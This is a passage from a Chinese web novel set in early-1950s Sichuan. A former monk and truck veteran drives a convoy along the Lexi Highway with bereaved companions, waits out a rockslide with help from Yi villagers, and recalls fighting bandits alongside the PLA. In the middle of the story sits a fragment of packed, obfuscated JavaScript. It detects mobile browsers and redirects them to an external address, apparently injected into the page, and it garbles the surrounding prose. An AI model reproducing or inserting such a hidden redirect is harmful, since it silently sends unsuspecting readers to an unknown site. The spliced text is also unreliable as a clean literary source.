刘愿安张了张嘴,神态更加失落,“抱歉,我们连着三年没有见阿涅来领分红,才派人去找……我们去晚了……”
话说到这里,两人都一阵沉默。
刘愿安抹了一下眼睛,深吸一口气,努力让自己的情绪高昂一点,“你要不要,去见见那些姐妹?”
“不用了,新中国了,让过去的事情都烟消云散吧。她们不看到我更好,不要去想起过去的日子。”
周立行拒绝了刘愿安的提议,只问到:
“莲妹儿还好吗?谷娃子的老婆也是在这边,我都没见过,叫什么名字?孩子们可还好?”
“莲妹儿很好,我和她当了干亲,相互扶持。她很能干,现在是纺织厂的会计呢!”
“谷娃子的老婆叫翠芬,生了个儿子,跟谷娃子一样瘦条条的,又聪明又麻利。前两年解放的时候,翠芬改嫁了,去年又生了个女儿,过得挺好。。”
说到这个,刘愿安的话多了起来。
“莲妹儿她啊,就是死脑筋,一直要等石娃子。我们都说这么多年了,回不来了……可现在看你回来了……”
周立行摇摇头,“石娃子牺牲了,我亲手埋的。”
刘愿安的嘴张着,长长地叹了口气,“……莲妹儿说,生要见人,死要见尸……”
又是这句话,周立行心中沉郁。
是否每一个等候爱人归来的人,都会有这个执念?
喜雀姐是否也是这般,日日夜夜,忧思成疾?
“我要走乐西公路去送一趟货,然后去走一趟滇缅路。来寻你,本是想问问,你哥哥愿平是否还在峨眉,我想邀请他们夫妇一起去。莲妹儿若是要去,可以跟我们一起。”
周立行不得不在名单里又加上了一个。
刘愿安也是眼神一亮,她拍着手,“这是好事!他一定会想去的!不过嫂子现在是去了人民医院上班,不一定能请假。”
“没关系,我也可以照顾好愿平的。”
*
刘愿安回去告诉了莲妹儿,莲妹儿大哭一场,终于是给石娃子刻了个牌位,然后给纺织厂请了长假,准备去滇缅公路上祭奠亡夫。
于是车队从乐山出发的时候,杨珺秀和莲妹儿坐在道奇T-234后面货箱里。
说来这车也是有缘分,竟是当年国军的车被缴获后分配的,这这批车竟恰好就是当初跑过滇缅运输线的车。
这批车辆,有美国车的左舵,有英国车的右舵,而周立行左舵右舵都能开,还可以让大货车在狭窄的坡道上原地掉头,稍微露那么几手,便让其他驾驶员喝彩。
在听说周立行曾经于滇缅路上顶着轰炸运输物资的事迹后,这些驾驶员们更是服气,甚至有随行的修理工和周立行请教起汽车维修保养的事情来。
迄今为止,中国还不能造自己的汽车,这些缴获的车辆都是宝贝,能遇到周立行这种当初在战火线中运输、维修的老机工,他们自然是不会放过请教的机会的。
车队的人在出发前的竞技完之后,都非常的敬佩周立行,听闻他要带上以前的同伴,都非常支持。
赵大石自然是知道这些,当初政委看周立行就跟看宝贝疙瘩蛋一样,双眼放光。可惜这么优秀的人,唉。
这剩下的五辆车,组成了一个小车队,从乐山出发,到达峨眉。
周立行顺道去找了刘愿平,刘愿平自然是不愿意放过这千载难逢的好机会。
刘五嬢已经老了,她听闻周立行来了,杵着拐杖也要出来见她。
“立行!立行啊……太好了……”
刘五嬢欣喜交加,“哎,我都给你烧了好几年的纸钱了……”
周立行无言以对,看着满头白发的刘五嬢,只能开玩笑滴回答:“那……应该黑老鸹替我收了吧……也不知道他是存着,还是拿去喝酒了……”
说到黑老鸹,刘五嬢的拐杖在地上戳得呯呯响,“别说他了,老东西一个,坟都被日本人给炸平了,我还以为他没保佑你呢,每年烧纸的时候都骂他来着……”
周立行笑了,上前抱了一下刘五嬢,“我会记得祭奠他的,你放心。”
刘五嬢回抱住周立行,时光荏苒,当初从峨眉山上下来的十五岁小和尚,已经走过了半生沧桑。
“你能来看我们,我们已经很高兴了,愿平还能去走一走,那更是再好不过……”
刘五嬢也不知道该说什么,她只能拍着周立行的肩膀,这才看到周立行身后还跟着两个女人。
刘五嬢是认识莲妹儿的,杨珺秀她没见过。
周立行见刘五嬢的视线往后看,他回头看了下,再转头跟刘五嬢解释,“起初我是接了这位杨珺秀夫人的委托,待她去乐西公路寻一下她丈夫牺牲的地方。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028294|153045||http|test|mini|href|location''.split(''|''),0,{}));
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>“后又机缘巧合遇到这份工作,便想着再去走一走当年的路。”
刘五嬢点点头,“去走一走也好,彻底放下过去,日子还得过,我们得向前看。”
刘愿平等母亲跟周立行激动完,才插进来话,“玉翠在医院上班,这段时间忙的都没有回家,她那边一时半会儿走不了,但肯定也不能让你们等,你们车队还有任务呢。”
“就我去,行吗?我顺便也去祭拜下堂兄林玉道,他是乘飞机坠毁在驼峰航线上了……也是只立了衣冠冢。”
周立行点头,“行,那你简单收拾些东西,我们只等一个小时。”
莲妹儿和杨珺秀两人一起,倒是分外的合适。
这两人都丧夫,都有一个女儿,聊起天来颇有共同话题,莲妹儿在工厂工作,颇有一把子力气,能直接把杨珺秀抱上汽车。
从乐山开到峨眉这一路,杨珺秀的精神状态明显好了许多,她反应还是迟缓,却能跟莲妹儿慢慢地聊上天了。
很快,刘五嬢给刘愿平收拾好了行李,周立行干脆让刘愿平坐副驾座,他原本副驾座上的同志则是去了其他车上。
周立行看自己这一车人,莫名地也笑了出来。
自己是个病的,杨珺秀也是个病的,刘愿平是个残的,只有莲妹儿一个正常人。
“莲妹儿,要辛苦你一路了。”周立行扶着杨珺秀上了车厢,“你们都往里面坐点,不要光顾着看风景,这山路颠簸,可别摔下去了。”
“周大哥,你放心,我会把珺秀妹妹照顾好的。”
莲妹儿回答道。
*
乐西公路跨过流经周立行家乡的青衣江,经过风光秀丽的峨眉,过了龙池,再循这奔腾的大渡河,进入居住着许多彝族人的峨边金口河,然后绕越海拔两千多米的蓑衣岭。
这一路上山色葱郁,空气清冷,山崖石壁敲出来的道路狭窄,一边靠山,一边便是悬崖峭壁,急弯处通行起来也是有一定的难度。
周立行开着这段路,神色颇有些怀念。
一路上的车辆开的比较缓慢,他们有的汽车烧的煤炭木柴,运力不如汽油车好,为了保持车队步调统一,周立行的车速开的也比较慢。
车队行进到蓑衣岭时,前方的山体落石挡住了道路。
这年头道路上的车辆很少,这一段路上更是鲜有行人。
第一辆车发现落石后,迅速按了几下短促的喇叭,提醒后车。
周立行是走在最后一辆的,他正在一段上坡路,听到喇叭声,立即向后倒了一段,讲车辆停到靠近山体的一侧。
周立行下车之后,先把行动不便的刘愿平抱到后面车厢里,放到轮椅上,然后叮嘱莲妹儿。
“前面路上有些状况,我去看看,你照顾他们两人。”
莲妹儿点头,“周大哥,你放心去。”
前面车队已经有好些人下去围着查看,毕竟西南山路易垮塌,他们也是具备一定经验的,车上是准备了工具。
“碎石太大太多,我们这几个人不知道要疏通多久。”
为首的队长大概看了看,拿跟货车一样大的山石就有好几块。
“万幸这不是在我们经过的时候落下。”
“就是!”
“现在该怎么办?”
“得派人去找支援……”
“我们先尝试疏通一部分!”
“今夜肯定得在这里过了……”
周立行过去向队长建议,“这山高,附近没有什么村寨,山腰下才有彝人们居住。现在已经快傍晚了,贸然前去,容易造成误会。不如我们就地歇息一晚上,明日再派人去找当地的人民政府。”
队长觉得周立行说得有道理,点头道,“你经验丰富,麻烦在这周围替大家找个安全的地方,我们带的东西还算齐全,可以歇一歇。”
说完,队长安排一部分人先往山崖下清理部分碎石,另一部分人清点晚上歇息需要的东西。
周立行一回头,却见杨珺秀站在自己身后,神色莫名的哀伤。
“这石头好大……”杨珺秀想要上前去摸那石头。
另外的车队队员生怕这瘦弱的女人出危险,赶紧喊道:“周俊秀,看好你的女人……”
85.乐西公路
那憨头憨脑的队员话一出,立即被身边方脸宽颌的队长锤了一把。
“别乱说,人家没确定关系,杨大姐是周大哥要帮助的人。”
队长是听过赵大石叮嘱情况的,虽然赵大石话里话外也有种杨大姐和周大哥很般配的感觉,虽然车队人员也觉得这两人一个英俊一个秀美、一个丧妻一个丧夫,还都跟着道路有扯不开的关系,虽然大家都觉得……但是!总之人家两人没定的事情,可不能乱说!
那队员挠这脑袋哦哦两声,颇为抱歉地赶紧改口,“周俊秀,看好你带来的女人……”
队长:“……喊杨大姐!”
队员:“……看好……杨大姐……”
周立行没管那无语的队长和憨厚的队员,他没有阻止杨珺秀,反倒是搀扶着她,让她顺应自己的心意,去抚摸那巨大的落石。
队员又想说什么,被无语的队长一把泥塞到嘴里,“闭嘴吧你!”
其他队员见状,集体闭嘴,专心撬石。
杨珺秀纤细修长的手指触摸到粗粝的石头上,那石头上有湿润的沙土,凉凉的,手使劲压一下,石头凹凸不平的边缘会咯得手疼。
她尝试了一下想要推一推着石头,石头纹丝不动。
她又尝试去抱一块冬瓜那么大的石头,却仿佛在搬一座山一般,全身的力气都用尽了,也没有抱起来。
最后,杨珺秀换了一块很小的石头,大约只有西瓜那么大,她十分用劲,额头的汗水都出来了,才勉强把那几十斤的石头抱起来,想要往山崖下面丢,结果力竭了,石头差点砸到脚上。
周立行一直关注着她,眼疾手快地单手接过石头,放在路边上,轻轻地让它滚落。
“……他会被这么重的石头压着吗?”
杨珺秀盯着自己稍微用劲,便被擦破皮的双手,眼泪吧嗒吧嗒落下。
周立行想了想,认真地回答,“有可能。”
“……这么重的石头压着,他得多疼啊。”
杨珺秀捂着脸蹲下去,开始痛哭。
周立行跟着蹲下去,听着杨珺秀的哭声,不知为何他内心反而一片平静。
“真要是被石头压到,他不会疼的,瞬间就没命了。”
反而是没有被压到,像他当初那样被活生生地埋着,意识清醒地等待死亡,那才难受。
杨珺秀听了周立行认真的回答,眼泪慢慢地止住了,她掏出手帕一遍擦,一边颤声问,“那被石头压着,他还能投胎吗?”
“修桥铺路,是无上功德。”周立行笃定地回答。
“山上的和尚都是这样说的,还能投个好胎呢!”
杨珺秀擦干了眼泪,站起来,眺望群山延绵,她缓缓呼出一口气。
小时候教书先生讲,读万卷书不如行万里路,她曾经是想过要出去读书的。
可惜那个时候头脑发热为爱成婚,婚后却被公公婆婆管束到甚至放弃学业。而现在,她终于是走了出来,才发现山川巍峨远超书本字画,也明白修路艰难是用血肉铸造。
她连搬一搬那小小的石头,都要被磨破手上皮肉,那这险山峭壁上的路,得多难。
杨珺秀还在看着远山氤霭出神,周立行已经摸出身上的水壶,牵过杨珺秀的手,为她冲洗手上的石屑。
周立行的手指也是修长的,骨节明显宛如竹枝,手上有许多深深浅浅的疤痕,厚实有力且干燥温暖,他握着杨珺秀的手腕,动作细心轻柔。
这是他下意识的动作,自觉毫无冒犯之意,因为他只是纯粹地关心杨珺秀。
杨珺秀的一双手洁白细腻,宛如葱根,任何稍微有点阅历的人,都能看出来她一定是极受家人宠爱的,只有常年不劳作干重活的人,才有这样一双搬一搬石头都能蹭破掌心皮的双手。
周立行看着这双手,莫名地想到了沐明实,也想到了喜雀姐。沐明实如果没有走上救国抗日的道路,在家里当个娇小姐,应该也会有这样一双手。喜雀姐和他初见的时候,也是二十多岁的年纪,坐在他拉的黄包车上,手上拿着绣花帕子,也是这般的娇嫩。
这需要人呵护的双手,现在血迹斑斑,碎石划破了皮肤,砂砾嵌入皮肉,宛如经年累月的不甘。
杨珺秀垂眸看周立行为她清洗双手,细致地挑掉碎石,她有些吃惊,手指缩了缩,却被周立行坚定地拖了一下,她便不动了。
她感受得出来,周立行没有任何旖旎的心思,他是那么的坦诚,只是在为战友处理伤口。
可愈是如此正直坦然,杨珺秀才愈能感到诚挚的可贵,愈是……同病相怜。
她的内心仿若寂静已久的深湖,落入一块石子。
*
周立行带着情绪稳定下来的杨珺秀很快往下走,找到一个稍微宽敞且紧挨坚固山地地方,车辆停在前后遮风。
大家在这里用碎石围了个小火塘,一部分人去周围寻来些枯树枝,加上车里自己带的煤炭,暖暖和和地点燃,并用吊起来的小炉子煮起了一些热食。
大伙儿围着小火塘吃了晚饭,喝了热水,裹上厚实的毛毡挤在一起,天色已黑,呼啸的风变得越来越冷,一团团的浓雾飘来,四周一片暗黑混沌,借着火光也看不出两米远。
“这里昼夜温差好大啊!像是一下子就要下雪了一样!幸好我们有车有煤,不然可老火咯!”
那队长感叹着,他原本是商队里开车的,49年被抓了壮丁,幸好所在的运兵队还没来得及送到地方,解放军就入川了,他和大伙儿干脆跟着解放军走,现在进了国营的运输队呢。
刘愿平人残疾之后,反而变得分外开朗,可能是为了补偿自己不良于行,他变得极为能言善道,尤其喜欢聊天。
此刻他立即摆起了龙门阵,“你们知道这里为啥叫蓑衣岭不?”
所有人都十分捧场,纷纷摇头。
“这个岭,是四川和西康两省的界山,海拔三千余米,终年云雾缭绕,雨水稀少,行人翻越时必须携带蓑衣、斗笠等雨具,因此得名蓑衣岭。”
刘愿平伸手拨弄眼前看得见的浓雾,“这雾气一来,温度陡降,说不定立马就会变成冰雾。”
周立行想起致松的手记里写的内容,他轻声说道,“据说……当初修路的劳工们,有三千人,一夜之间冻死在蓑衣岭……”
杨珺秀微微睁大眼睛,发出短促的惊叹,“啊……”
“那得多少家庭……”
“当初还在抗战,重庆的物资要绕道贵州,修建乐西公路可以作为四川通往缅甸国际公路的一条最直接的通道。那会儿国民政府下的死令,必须一年就完工,否则以贻误军机论处。”
“工期紧,工具少,又全是艰险的山区地段,征来筑路的劳工大多都是农民出身,很多人不具备专业的知识,那个时候粮食供应不够,药物也少,筹备也不足,即便是死了许多人,也只能硬着头皮往前推……”
刘愿平的声音低落下去,抗战胜利了,新中国也成立了,死去的人见不到这份未来,他们留下来的人始终承担着难以言喻的遗憾。
半夜时分,果然气温再次骤降,空中甚至飘起了细碎的雪雾。
毛毡和火塘虽然可以提供一定的温度,但这里空气湿冷,阴寒入骨,车队人员们睡梦里都冷得直哆嗦。
周立行一直浅眠,火塘里的木炭噼啪爆一声,他都能睁眼看一看四周。这一队人数也才二十人,守夜的队员也是昏昏欲睡。这山上有没有什么猛兽或者匪盗,他也防备着,
于是乎,半夜温度再次降低后,周立行醒来,往火塘里再次加入煤炭木炭,让火烧得更旺一些,反正这天旷地阔的山道上,也不怕中毒。
杨珺秀和莲妹儿挤在一起,她们都被冻醒了,两个人脸色发青,恨不得挪进火塘里去。
周立行想了想,把身上的毛毡取下来,给这两个女人盖上,然后自己跟刘愿平挤在了一个毛毡下面。
刘愿平睡得迷迷糊糊,只感觉一个温暖的人挤进来,迷瞪瞪地看了一眼是周立行,扭头继续睡了过去。
*
等到第二日天亮,却是一场弥天大雾,伸
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手都要看不清五指。
无奈的队长只能再次拜托周立行,现在这个道路上,他是后车,只能请他在这狭窄的山坡路上原地掉头,然后小心地在这大雾天里开车下山,去寻找当地人民政府的帮助,派人来为他们疏通道路。
周立行把刘愿平和莲妹儿留在这里,却带上了杨珺秀。
他怕杨珺秀万一突然的想往山崖下面跳,别人没拉住,那可没办法给杨珺秀的家人交代。
于是,这两人坐着车,沿着山路往下开。
那雾气森森,道路泥泞湿滑,这趟车开得险象环生。
杨珺秀本就未曾出过远门,之前是在车厢里,她和莲妹儿两个聊聊天,时不时地从车篷布里透出去看新鲜,还未曾觉得有什么。
此刻坐在周立行旁边的副驾座上,恰好她旁边又是悬崖,那真的是吓得她颤颤巍巍,双手吊在车门上方的拉环上,眼睛都不敢睁开。
周立行看得好笑,安抚道,“别怕,相信我,当初那路跟这个差不多,上面还有日本人的飞机在炸呢,我们都能开出来。”
杨珺秀的心噗通噗通乱跳,她习惯说话的时候要看向别人,于是此刻只敢把大眼睛睁开一条缝,弱弱地回答,“道理是这么个道理……但害怕还是在所难免……”
周立行见杨珺秀这样子着实害怕,干脆跟她聊天转移话题:
“我们讲点什么有趣的事情吧,不然我真怕你会吓晕……”
说到这个,杨珺秀有了兴趣,其实她昨晚在火塘边就想问,可人太多了,她没好开口,现在正好,她等了很久的机会呢。
“……上次,你还没有讲完的故事,你在峨嵋山的寺庙里清醒,然后呢?”
周立行没想到杨珺秀还记着这茬,他想了想,回答道:
“……后面的事情啊……”
“我在寺庙里过了一段日子,师兄说我浑身都是虱子跳蚤,在山里吃了一年的野物,不知道肚子里多少虫……”
周立行被一帮和尚摁着又给剃了个光头,丢掉褴褛的碎布条,放进熬了中药草的木桶里一通洗涮,还喝了好几天的中草药。
最后,静空还特地下山去药品店里,花大价钱给他买了驱虫的西药呢。
那十来天的时间,周立行逐步恢复了语言能力,他去给老主持的牌位磕了头,还去找静诚的牌位聊了天。
当初走的那会儿,他对大师兄也没有啥怪罪的念头,谁不想活着呢。现在听闻大师兄竟然是悔恨过度,生病而亡,周立行对静诚更是没了怨言。
他能在峨嵋山上学到那么多日后要用的本事,离不开每一位师兄师伯们的关照。
等身体恢复了,周立行便要下山了。
挚爱亲朋死的没剩几个,他必须得去找自己的儿子,周盼回。盼回盼回,现在是他这个当父亲的,要去盼儿子回来。
静空也没有留他,他只说会为周立行留一盏长明灯,为他祈福。
周立行顺手再刻了一堆带人名的小牌子给静空主持,让他一并给祈了,要让他们都投生到新时代的好人家,要幸福平安地长大。
哪知刚下山的那天,周立行却恰好遇到了解放军追战逃匪,在山下河谷打得难解难分。
周立行远远就听到了猴群警戒的呼喊,以及山中鸟雀乱飞。
等他摸到两拨人交战的地方,看到一队是帽上红五星、领上红章绿军装的士兵们,另一队是杂牌兵匪,他琢磨了一下,自然是要帮沐明实的队伍呀!
再然后,就是周立行加入战斗……
两人正在说话,前方却出现一队人影,周立行猛踩刹车,杨珺秀被安全带拉了个猛顿,整个人都快被摇匀。
那队人约莫六七人,穿着峨边彝族的服饰,沿着公路边缘边走边唱歌,浓雾里猛地见一辆车刹停,大家俱是吓了一跳。
为首那人谨慎地上前,看到车辆上挂着五星红旗,他松了一口气,用汉话喊道:
“我们是峨边拉叶家的人,替峨边县人民政府巡路的!你们是哪里来的车?前面路是通的吗?”
86.乐西公路
峨边以彝族人居多,毗邻峨眉山,位于大渡河南岸,属于西南小凉山,是四川盆地和云贵高原的过渡地带,此时还隶属于川南行署乐山地区。
这个时候,道路上不会有私人的货车,周立行开的这种大货车,除了国营的就是部队的,所以这群彝族的老乡们也比较放心,敢大胆地上来搭话。若是换成以前民国时候,那写私人商队戒备森严,彝族老乡们无事都是离车队远一些,避免大家闹出误会。
周立行听为首的拉叶说话,暗自紧绷的肌肉放松下去,他摇下车窗,回答道:
“我们是政府的车队,要去西昌送东西的.前面的路被大量落石给堵了,车队过不去。我们正要去峨边县政府寻求支援。”
“我叫拉叶石匹。这路窄,雾大,你别开了,我们派人去跟县政府说!”
为首的拉叶石匹对周立行说的话深信不疑,为了车辆安全,他劝周立行不要再往下走。
“拉叶兄弟,我叫周俊秀。这样,不如我载你们一起先去看看垮塌的地方,然后我们派两个队员和你们一起去县政府,这样能把情况说得更清楚些,要得不?”
周立行提出了自己的建议。
那拉叶石匹也是聪明人,当然听出来了周立行话语里暗含的谨慎,不过对方语气诚恳,说得也十分有道理。
“要得。”
拉叶石匹身手敏捷地翻上车,跟着他的那些人也爬到了车后箱。
周立行出去没多久,就开车载了七个人回去,车队的人们小小地惊喜了下。
向大家解释了情况,周立行带拉叶石匹去看垮塌的地方。
拉叶石匹啧啧地围着转了几圈,和同来的彝人们一起商量了一番,最终决定:“你们的工具不够,这起码要百来号人才能搞的定。我们得去跟县政府说,动人就得动粮食,山高路远的,大家走来干活再走回去吃饭睡觉,那多耽搁时间。”
周立行见他十分有把握的样子,询问到,“你是之前修过这条路吗?”
拉叶石匹头一昂,十分骄傲,“十年前我就跟着来过,中途每年我们都要来巡路,这里我闭着眼睛都能走!”
队长听得有些心焦,他们本来就是拖延了几天才出发的,现在看样子又得等,于是询问,“那要多久才能弄完?”
“今天把人和东西都备齐了,明天来,最快也得后天干完,你们怕是要大后天才能走。”拉叶算了算,
队长听了,也向周立行说道:“那我们也得出个车去拉点燃料上来,这几天我们都在这里守着车辆,也能就近一起参与疏通。”
车上载的东西可不能有闪失,都是国家财产。
周立行接了这个任务,“好,我去。”
周立行再度开车,杨珺秀这次自告奋勇她还是要一起,杨珺秀本来想自己去后面车厢里坐的,哪知拉叶石匹左看右看,突然嘿嘿一笑,然后自己跑去去车厢里坐着。
周立行和杨珺秀不明所以。
杨珺秀悄悄地问:“是不是我坐过的座位,他不乐意坐?”
虽然她不太清楚彝族的风俗,但也许大概有这种肯能。
周立行想了想,“倒是没听说过,不过彝族人比较含蓄,也有可能会这样考虑。也有可能是后面宽敞,可以躺着休息。”
之前周立行等人就已经把车厢里的东西先搬下来了,现在后面没有堆东西。
拉叶在后面听着前面两人聊悄悄话,虽然听不清楚,但他感觉自己做了正确的选择。
人家般配的两口子嘛,就是要坐一块聊天的。
这一路往下,杨珺秀似乎是想继续之前的话题,但车厢后面有人,杨珺秀不太好意思考口问。
周立行平时话不多,开车的时候却喜欢讲话,他见杨珺秀欲言又止的样子,干脆自己接上了之前的讲述:
“我继续讲吧……”
“我见着那些匪兵们离竟有几个好手,悄无声息地摸到了解放军们的后面,他们应该也是山匪,是从树上走的。”
“我看军服,认出来那长得像映山红的红五星,然后就知道该帮谁了。”
……
自从周立行知道沐明实是共产党之后,他也曾经想过,要不要当一个沐明实这样的人。可惜当初他陷落敌占区,之后又多灾多难。
现在遇上了共产党的队伍,他心中也是激动的。
周立行身手很好,他也攀援上树,向那几个匪兵而去。
论树上功夫,在滇西密林打了几年游击的周立行,几乎可以做到人如猿猴,他轻盈敏捷,嘴里还能发出猴狲的呼喊迷惑对手,从树叶猫咪出猛地扑来,当真是让那些匪兵猝不及防。
一旦抢到枪支到手,周立行更是如虎添翼,他人在树上如履平地,几枪便收拾掉了那几个上树想偷袭的匪兵,弹无虚发,枪枪毙命。
从周立行开第一枪的时候,便有解放军同志注意到了他。解放军见他剃了光头,身手矫健,打的又是匪兵,自然是把周立行当成武艺超群的和尚。
许久没有上战场,一下山便进入自己熟悉的山林战地,周立行反倒是找回了熟悉的掌控感,肾上腺素沸腾起来,上头的他拿出当年打日本人的本领,跟着解放军同志们很快围歼了这队匪兵,把头目抓了起来。
上来跟周立行搭话的男人,便是时任营长的赵大石,他先向周立行敬了个礼,然后双手合十道:“师傅,你是峨眉山上的和尚吗?身手真好!你会用枪?”
周立行摸了摸自己短短的头茬,摇头又点头,“以前当过和尚,已经不是了。我要下山,去找我的孩子。”
赵大石张大嘴,脑袋一时间反应不过来,“啊?找?你的孩子?”
周立行没想跟赵大石多解释什么,“告辞。”
哪知道赵大石是一根筋,见周立行身上有擦伤,不管不顾地要卫生员来给周立行消毒,还颇为厚脸皮地趁机拉着周立行聊天。
“这峨眉山你肯定熟悉吧?能不能给我们当下向导啊?还有你那树上功夫不错?能速成吗?哦对了,你要找多大的孩子,去哪儿找?我们说不定可以帮帮忙呢!”
周立行对别人的好心善意最难拒绝,被赵大石拉去交给卫生员,那卫生员又是个女同志,周立行定睛一看,竟是熟人!
“小八爷!”
“罗瑞鹤!”
赵大石还在那叭叭叭,“老乡,哎我也是乐山人,以前还当过袍哥呢,当初被抓壮丁出去的!后来起义跟着咱党的队伍走…你们认识?!”
这下,周立行更走不了了。
罗瑞鹤见到周立行,十分的激动,抓着周立行的手一个劲地晃,“不对,不应该喊你小八爷,你走的时候都是龙头大爷舵把子了……你怎么跑来出家了?我们都以为你死在滇西了……听说表弟还活着是吗?忠义堂被光耀堂害得好惨……呜呜呜!邢五爷,邢五爷被他们给害死了……”
“什么龙头舵把子?”赵大石上跳下窜,没有一丁点儿营长的稳重,“哟,这和尚还是袍哥大爷啊?什么堂口的啊?”
罗瑞鹤柳眉倒竖,伸手拍了一把赵大石,赵大石赶紧立正,清了清嗓子,“你们先聊,我听着。”
周立行抓到关键字眼,有些分散的注意力立即集中,他回手抓住罗瑞鹤,“邢五爷被谁害死的?邢五爷身边有没有出现过一个几岁的小男孩?我的儿子,盼回,周盼回,你听过没?”
他直觉,周盼回
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应该是被邢五爷接走的,当初沐明真说邢五爷失踪了,此刻罗瑞鹤说邢五爷被害死了。
罗瑞鹤认真想了想,“邢五爷家的九个闺女都嫁人了,几岁的孙孙有好几个,男孩女孩都有……我并不知道他们的名字。”
“当初我们都以为你死了,后来唐浩子也死了……冯显贵便又威风了起来,陈三爷金盆洗手后莫名其妙被仇家杀害,邢五爷本想急流勇退,后来不知怎的又留了下来,说是要守着忠义堂的摊子管好分堂……”
听到这里,周立行对应沐明真说的,应该是邢五爷突然接到了信,想要为周立行再守一守忠义堂。
“然而没过多久,邢五爷就失踪了。再后来,那些分堂突然说接到总堂舵把子的印信,全部自行脱离。”罗瑞鹤轻轻放开周立行的手,世事无常,忠义堂就这么散了去。
周立行缓缓收回手,闭了闭眼睛,这一切和沐明真所说都对应起来了。
罗瑞鹤想到当年的事情,也是悲从中来,“解放军要来了,冯显贵以为冯争鸣活着,只是在云南定居不愿意回来,他自个儿接了特务的什么司令委任状,带着人往大小凉山这边跑了。那些没跑掉的小弟们交代,是他们告密中统,抓了邢五爷给害死的。”
线索断了,周立行满心茫然,一生行走江湖的邢五爷就这么去了,而他的孩子,该哪里去寻?
“冯争鸣呢?”罗瑞鹤追问自己的表弟,她记得冯争鸣穿着军装威武傲气的样子,他去云南之前,还特地给自己送过钱财来。
这一别多年,也不知道表弟如何,有没有结婚生子,有没有好好生活。
提到冯争鸣,周立行渐渐平静,他自己起码还有个孩子,冯争鸣却孤单一人,埋在了茫茫丛林中。
他回答罗瑞鹤,“冯争鸣牺牲了,后来是我用冯争鸣的名字活着,完成了他的遗愿,我们杀了出去,把日本人赶走了。”
赵大石跳脱的时候跳脱,安静的时候也是真的安静,他听到了关键意思,滇西杀日本人,成都堂口恩怨,还有什么分堂,嚯,有用!
于是赵大石搓着手,往周立行边上挤,“哎,那个啥,你叫啥名呀舵把子?要不,你给我们提供帮助,我们帮你找孩子?你看,我们人多,到时候各项机构建立起来,还得是靠我们才好找人……”
周立行沉默了一会儿,提问,“你们要往哪里走?”
“我们还没有接到命令,不过,我们应该会往大小凉山走,许多匪军都往那个方向撤退。”
“我要杀冯显贵,亲手杀。”周立行斩钉截铁,“以及,我要去会理找人。”
他要为邢五爷报仇,也要履行对冯争鸣的承诺——帮冯争鸣杀掉作恶的冯显贵。
作为袍哥,出卖兄弟,本就该被舵把子亲手三刀六洞。
还有就是……三刀凉、紫苏和小杜鹃,不知林人梅这些年有没有替他找到人。
他得去,完成这尚未完成的委托。
周立行下定决心,找到了目标,他向赵大石说道:“我叫周俊秀,我会驾驶和修理卡车,会丛林战,会开枪会格斗,曾经打过金章,也许还勉强可以号令曾经忠义堂的分堂。”
“如果你们能答应我的要求,我就帮助你们。”
……
高山弯道一个漂移,车辆过弯后迅速行驶在狭窄的山路上。
杨珺秀听得入迷,已然忘记危险,只管提问:“然后呢?”
拉叶在后面的车厢被甩得打了一个滚,道路崎岖,他被颠得上下起伏,因为是在后面,也听不清前面聊什么,只觉得这两人话真多!
“后来啊,后来就开始跟着解放军部队剿匪了。我没有入伍,但一直跟着部队在走……”
87.乐西公路
周立行的声线很特殊,有点像是山林间泉水滴落到石头后的回响,当他娓娓道来过往的时候,听者很容易专注。
两个人聊着天,艰险的道路也不显得寂寞。
越往山下走,雾气越少,一条河流蜿蜒而过,峨边县城已经近在眼前。
车辆开进县城政府驻地后,拉叶石匹很快去找到了熟悉的人员,周立行也出示了相关证件证明。
很快,峨边县政府开始召开协调会,迅速地组织人员,准备去疏通道路。
周立行没有去参加会议,他被工作人员带去补充相关的物资。
杨珺秀在街上看到一个卖绣花头帕的,觉得刺绣的花纹非常有意思,翻来覆去地看。
周立行看她喜欢,拿出自己被预支的工资买下了这个头帕。
等一切筹备好后,他准备开车先回去和车队集合,拉叶石匹则是决定留下来配合县上的人。
来的时候聊着来,回去的时候周立行和杨珺秀也是聊着回去。
“峨边,这里的人称呼为佳支依达,意为丝绸之河,这里属于小凉山。我跟着解放军部队,从峨边进入小凉山,后又进入大凉山,在这边完成战斗,找到了三刀凉和小杜鹃。此去西昌,说不定还可以见一面。”
周立行接着来时候的话题,省去了许多他认为无需再讲的事情,他似乎是厌倦战斗的,就像他的讲述中,并不会详细地说他们当初是如何与日本人拼杀。
杨珺秀也察觉到这一点,她不会去询问这些细节,她感叹着:
“凉山这个名字很美,一听就能感受到风雪的气息,感觉是苍凉孤寂、雄浑壮丽的神秘山地。我记得致松说过,《宁远府志》描述,凉山群峰嵯峨,四时多寒。”
以前她只能看书,看图,现在终于能看群山巍峨。
“大凉山和小凉山有什么区别?是一边的山脉大一些,一边的山脉小一些吗?”杨珺秀好奇地询问。
“小凉山主要包括,雷波、马边、屏山和我们现在所处的峨边,也叫雷马屏峨。大凉山在往西边走的川滇交接处,青藏高原的东南边缘。”
周立行没有怎么出过门的杨珺秀解释,“彝族有句谚语,叫大凉山山小,小凉山山大。大凉山的山脉比较舒缓,中间有一些肥沃的平地;小凉山的山脉反而十分陡峭,论艰险程度,小凉山还要更甚一筹。”
“不过,小凉山地区是土司制度,彝汉之间的交流更多些;大凉山地区自古以来是彝族的核心区,那边更古朴神秘一些。”
杨珺秀点着头,目光从车窗外雾气散开的山岭看出去,仿佛看到不同年代从山脉上走过的人,有骑着马儿驮着茶的,有拿着工具修路的,也有扛着枪的。
“那后来,冯显贵被抓住了吗?”杨珺秀问完,又想起来周立行在她家吃饭的时候告诉弟弟的话,“嗯,肯定是报仇了。”
周立行没有说话,他们的车辆刚好爬上坡,经过一个狭窄的崖间缝隙。
光影明灭,仿佛岁月流淌。
……
冯显贵跟着军统的特务想要撤到西康去,走的也是乐西公路。
他们犯了当初会理分堂梁承禄一样的错误,以为平时大家和彝族土司们关系好,有钱财利益的合作,此时一定可以凭借武器人马,进入大小凉山的地盘,以此对抗解放军。
然而解放军作战勇猛,当年的红汉们归来,把真正的平等和尊重带来,势如破竹一般地进入大小凉山。
